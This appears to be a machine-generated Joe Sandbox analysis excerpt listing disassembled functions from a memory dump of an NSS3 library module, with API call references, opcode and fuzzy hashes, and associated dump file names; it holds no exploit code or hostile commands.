Opcode ID: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction ID: d556bf23be8ba49df7ef0af32603c3ee1d4f2bf46e4938304b9abc7337f5d69d
Opcode Fuzzy Hash: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction Fuzzy Hash: 4B61E2B1E0520A8BDB40CF65C8007EEB7B2AF45308F28C165D855ABB51E732DC16CBA8

Function 6C6B8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C6B7313), ref: 6C6B8FBB

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90F1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B906B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C6B7313), ref: 6C6B9128

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 1118a76c51b2bf7d005021de871d9f0fcf22768da21067c2da13a14fda83640f
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 9251C571B002029FEB10CF6ADC84B66B3F9AF5535CF154029D919E7B61EB31E824CB99

Function 6C669C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C668850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C670715), ref: 6C668859
Part of subcall function 6C668850: PR_NewLock.NSS3 ref: 6C668874
Part of subcall function 6C668850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C66888D

PR_NewLock.NSS3 ref: 6C669CAD

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C669CE8
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D01
TlsGetValue.KERNEL32(?,?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D38
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D4D
PR_Unlock.NSS3 ref: 6C669D70
PR_Unlock.NSS3 ref: 6C669DC3
PR_NewLock.NSS3 ref: 6C669DDD

Part of subcall function 6C6688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668906
Part of subcall function 6C6688D0: EnterCriticalSection.KERNEL32(?), ref: 6C66891A
Part of subcall function 6C6688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C66894A
Part of subcall function 6C6688D0: calloc.MOZGLUE(00000001,6C67072D,00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668959
Part of subcall function 6C6688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C668993
Part of subcall function 6C6688D0: PR_Unlock.NSS3(?), ref: 6C6689AF

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction ID: 271d795eabe133716e4a3ebc560ee475c165bab5e11df6b6703635b577ec94e0
Opcode Fuzzy Hash: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction Fuzzy Hash: 4B512FB1A04B059FDB00EF6AC1846AABBF0BF45359F158579DC58DBB10DB30E844CB96

Function 6C769EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C769EC0
EnterCriticalSection.KERNEL32(?), ref: 6C769EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C769F73
EnterCriticalSection.KERNEL32(?), ref: 6C769FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C769FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C769FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C76A01D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction ID: 61baa99fa17096382ba63133418b06fe56d12a166b076a6e473674de3ffa805a
Opcode Fuzzy Hash: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction Fuzzy Hash: 9451B0B2804600CBCB109F26D58868AB7F4FF64319F298669DC5957F12E731F886CB91

Function 6C65DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C65DCFA

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C65DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C65DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C65DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C65DD8F

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_DestroyCertificate.NSS3(?), ref: 6C65DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C65DDB7

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 75308090a03ca7ff080c6872ac23569e8089fd4e6db1a8bfcab270df3e12f8c8
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: E521AEB6E011159BDB019EA4DD409DEB7B4AF05308B640120EC04A7751E731E925CBE9

Function 6C6E5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F72

Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED8F
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED9E
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FCC
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FF4
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6036

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction ID: 85b8e10f4464134d8304c148a1eeaba928fd1525a6f75363e819190abc4766dd
Opcode Fuzzy Hash: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction Fuzzy Hash: 8E214DF1605B04ABEB10DFB5D808BD7B7E8AB45709F104829E46A87640EB36E018CB95

Function 6C653C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C6C460B,?,?), ref: 6C653CA9
EnterCriticalSection.KERNEL32(?), ref: 6C653CB9
PL_HashTableLookup.NSS3(?), ref: 6C653CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C653CD6
PR_Unlock.NSS3 ref: 6C653CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C653CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C653D03
PR_Unlock.NSS3 ref: 6C653D15

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction ID: 40711929105b53e86b35d31f1af212b21117df19df79e3feea97f50c1144fa1b
Opcode Fuzzy Hash: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction Fuzzy Hash: 2A112976E01505B7DB012A24EC458EA7AB9EB0365CB644230ED1883711FB22DD6887ED

Function 6C659C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6711C0: PR_NewLock.NSS3 ref: 6C671216

free.MOZGLUE(?), ref: 6C659E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E4E
TlsGetValue.KERNEL32 ref: 6C659EA2

Part of subcall function 6C669500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C669546

EnterCriticalSection.KERNEL32(?), ref: 6C659EB6
PR_Unlock.NSS3 ref: 6C659ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C659F18

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction ID: bf6fb96ee20f04ec27decf56e545c5e7866ffa2f4629c2568f9682be72745609
Opcode Fuzzy Hash: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction Fuzzy Hash: 2881D6B1A00601ABEB109F35DC40AAB77A5FF4534CF644529EC4987F41FB31E926C7AA

Function 6C66DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32 ref: 6C66DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C66DD0E
PK11_IsFriendly.NSS3(?), ref: 6C66DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C66DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66DEA6
PR_Unlock.NSS3(?), ref: 6C66DF08

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction ID: d00dbbd56c412867d588a8067fd6faf6469e31a6d258b9f87141ad6a6c9d8780
Opcode Fuzzy Hash: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction Fuzzy Hash: 2B91E7B5A001059FDB00CF6AD880BAAB7B1BF45308F254029DC199BF51E731E916CBDB

Function 6C625FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260AB
sqlite3_config.NSS3(00000004,6C774CA4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260EB
sqlite3_config.NSS3(00000012,6C774CC4,?,?,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C626122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C626095
%s at line %d of [%.10s], xrefs: 6C6260A4
misuse, xrefs: 6C62609F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction ID: 5360ceb3e9d9a8386c35ad17815fb830af36a3fda2fbb310bd86d8b28e21728c
Opcode Fuzzy Hash: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction Fuzzy Hash: 9BB19370E0464ACFDB05CF9DD2909AEB7F0FB1E304B158169D509AB322E730AA94DF95

Function 6C5D4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5D51BB

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5D51A5
unable to delete/modify user-function due to active statements, xrefs: 6C5D51DF
%s at line %d of [%.10s], xrefs: 6C5D51B4
misuse, xrefs: 6C5D51AF

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction ID: af64a388a2ca5f424c4088241856b29a800d45edfbb198c0252b61ad341ef0ba
Opcode Fuzzy Hash: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction Fuzzy Hash: 1C71ADB160430ADBEB00CF59CD80B9A77B9FB48308F4A4524ED199BB81D331F951CBA5

Function 6C6BFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C6BF165,6C78219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6BFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6C00A6

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
